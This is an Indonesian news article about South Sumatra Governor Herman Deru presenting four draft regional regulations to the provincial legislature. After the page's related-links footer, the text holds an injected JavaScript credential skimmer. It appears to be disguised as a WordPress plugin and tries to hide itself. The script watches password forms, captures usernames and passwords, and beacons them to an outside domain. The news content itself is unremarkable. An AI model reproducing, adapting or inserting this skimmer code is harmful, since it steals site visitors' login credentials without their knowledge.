Home / SUMSEL

Selasa, 7 Februari 2023 - 05:59 WIB

Herman Deru Sampaikan Pidato Pengantar Pengajuan 4 Reperda di Paripurna DPRD Sumsel

TRANSPARANMERDEKA.COM, PALEMBANG – Gunernur Sumsel H. Herman Deru sampaikan pidato pengajuan dan penjelasan 4 Raperda usulan Pemprov Sumsel pada Rapat Paripurna Ke LXI (61) DPRD Sumsel, bertempat di Ruang Sidang Paripurna DPRD, Senin (6/2) pagi.

Dalam paripurna  yang dipimpin Ketua DPRD Sumsel Hj Anita Noeringhati  tersebut, Gubernur  Herman Deru menegaskan Peraturan Daerah (Perda) merupakan aturan hukum yang paling dekat dan paling bersentuhan dengan masyarakat. Selain itu  juga dalam rangka memenuhi kebutuhan penyelenggaraan pemerintahan   menuju Sumsel Maju Untuk Semua.

Karena itu  Pemprov Sumsel tahun 2023 ini   mengajukan 4 Raperda  yang sebelumnya  yang telah ditetapkan dalam Program Pembentukan Peraturan Daerah (Propemerda) Provinsi  Sumsel.

Keempat Raperda itu  di jelaskan secara langsung oleh Herman Deri diantaranya, Rancangan Peraturan Daerah (Raperda) Tentang Penyelenggaraan Perlindungan dan Pengelolaan Lingkungan Hidup. Raperda ini lanjut dia  diajukan sehubungan dengan adanya perubahan beberapa Peraturan Perundang-undangan dibidang Lingkungan Hidup sebagai dampak dari UU Jo 11 Tahun 2020 tentang Cipta Kerja.

“UU Jo 11 Tahun 2020 tentang Cipta Kerja sebagaimana telah diganti dengan pemerintah pengganti UU No tahun2022 tentang cipta kerja, agar dapat mewujudkan dasar pembangunan berkelanjutan dengan lingkungan hidup sebagai tujuan pembangunan manusia seutuhnya serta mewujudkan manusia sebagai pembina lingkungan, terlaksananyan perlindungan dan pengelolaan lingkungan hidup,” kata Herman Deru.

Baca Juga :  Aksi Demo di DLHP Terkait Pencemaran Akibat Limbah Minyak  di Talang Keramat

Selanjutnya Raperda Tentang Pajak Daerah dan Retribusi Daerah. Ranperda ini diajukan dalam rangka melaksanakan ketentuan Pasal 94 dah Pasal 189 ayat 1 UU No : 1 tahun 2022 tentang hubungan keuangan antara pemerintah pusat dan pemerintah daerah yang mencabut UU No 28 tahun 2009 tentang pajak daerah dan retribusi daerah, yang mewajibkan Pemprov untuk membentuk Perda tentang pajak daerah dan retribusi daerah dan melakukan berbagai penyesuaian.

“Rancangan Perda ini diajukan juga sehubungan dengan adanya beberapa objek pajak dan retribusi baru yang belum memiliki legalitas untuk melakukan pemungutan,” jelasnya.

Selanjutnya papar Herman Deru, Raperda  Tentang Rencana Pembangunan dan Pengembangan Perumahan dan Kawasan Permukiman Prov. Sumsel tahun 2022-2042,  dimana  Raperda ini diajukan dengan mempedomani ketentuan Pasal 14 huruf f dan Pasal 17 huruf b UU No 1 Tahun 2011.

“Dimana ketentua pasal tersebut tentang Perumahan dan Kawasan Permukiman sebagaimana telah diubah dengan peraturan pemerintah pengganti UU No 2 tahun 2022 tentang cipta kerja dan ketentuaj pasal 14 ayat 1 Peraturan Menteri Perumahan Rakyat No 12 tahun 2024 tentang pedomab penyusunan rancangan pembangunan dan pengembangan perumahan dan kawasan permukiman daerah Provinsi dan Kabupaten dan Kota mengamatkan agar rencana tersebut ditetapkan dengan Perda,” ujarnya.

Baca Juga :  Banyak Kades dan Kepsek Ketar-ketir dengan yang Ngaku Wartawan

Terakhir, Herman Deru menjelaskan Raperda ke 4 tentang Rencana Tata Ruang Wilayah Provinsi Sumatera Selatan Tahun 2023-2043.

Dirinya menyebut, Perda ini diajukan dalam rangka melaksanakan ketentuan Pasal 7 dan Pasal 7A Peraturan Pemerintah Pengganti UU No 2 tahun 2022 tentang Cipta Kerja.

“Ranperda ini sangat penting dan menjadi pedoman dasar dalam menyusun program pembangunaj dan menyesuaikan dengan dinamika pembangunan, perubayan peraturan perundang-undangan dan kebijakan nasional,” jelasnya.

Dengan ditetapkannya Perda ini,  Herman Deru berharap Pemprov Sumsel memiliki pedoman jelas dalan menyusun program pembangunan jangka menengah dan jangka panjang sehingga dapat bersinergi dengan pemerintah Kabupaten/ kota di Sumsel.

“Diharapkan Sumsel dapat kelaksanakan pembangunan yang lebih terkendali, terciptanya pembangunan yang berkelanjutan melalui Perda ini. Dan sejalan dengan tujuan pembangunan daerah yaitu mewujudkan pembangunan yang merata dan menyatukan masyarkat sehingga terwujudnya penyelenggaraan pemerintahan yang baik,” pungkasnya.*

Share :

Baca Juga

ARTIKEL

Pemberian Tunkin dan atau TPP di Palembang Merupakan Ketidakadilan Nyata?

KEPEMUDAAN

Ratusan Santri Doakan Herman Deru Mampu Wujudkan Misinya Membawa Sumsel Maju untuk Semua 

PEMERINTAHAN

Pembina Penyelenggaraan Layanan Kepegawaian Terbaik, Herman Deru Terima Penghargaan BKN RI 

Ekonomi

Dihadapan Anggota DPR RI, Kepala BI Puji Program GSMP Inisiasi Herman Deru

ORMAS

Feby Dorong Para Kader PKK Terus Sosialisasikan GSMP Kepada Masyarakat

DAERAH

Lestarikan Kearifan Lokal, Pemprov-Pemkot Palembang Kembali Gelar Parade Kapal Hias di Sungai Musi

DAERAH

Herman Deru Didaulat Sebagai Bapak Anak Yatim Penghafal Al-Qur’an Tahfidz Kiai Marogan

MILITER - HANKAM

Syukuran HUT Brimob ke-77, Herman Deru: Brimob Semakin Diterima Masyarakat dan Kian Terlihat Karyanya
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();